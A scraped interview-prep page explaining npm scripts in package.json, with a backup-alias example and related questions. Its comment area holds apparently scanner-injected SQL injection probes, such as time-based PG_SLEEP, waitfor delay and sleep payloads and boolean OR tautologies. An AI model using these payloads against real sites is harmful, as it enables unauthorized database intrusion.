What are scripts in a file package.json used for and how can they be helpful?
Answer
A npm script is a set of user-defined command-line commands that can be executed using a shortcut that is called an alias.
You can define multiple user-defined command-line commands (scripts) and store them to package.json. Later you can execute them using their alias.
Imagine you want to do a backup of your project directory from time to time.
How would you do it?
You could always execute a command-line command similar to "copy c:\yourproject v:\backup". But typing this repeatedly would take too much time.
To become more efficient you could create a npm script with alias called my-backup and value "copy c:\yourproject v:\backup". After you define the script, you can the execute it by running the following npm command:
npm run my-backup
Related npm job interview questions
Using npm, how do you run a script that is defined in the package?
npm JuniorHow do you add a new devDependency to a file package.json?
npm JuniorHow do you find what scripts are defined in a project and can be executed using npm?
npm SeniorHow do you import a npm scoped package to your module?
npm SeniorUsing npm, how do you publish a package so it becomes available only to people in your organization?
npm Senior
Chat
Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.
e
@@xeDO0
1'"
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
VTgcz37T'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3+906-906-1=0+0+0+1 --
-1" OR 2+906-906-1=0+0+0+1 --
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
-1 OR 3+877-877-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1
-1 OR 3+418-418-1=0+0+0+1 --
-1 OR 2+418-418-1=0+0+0+1 --
e
e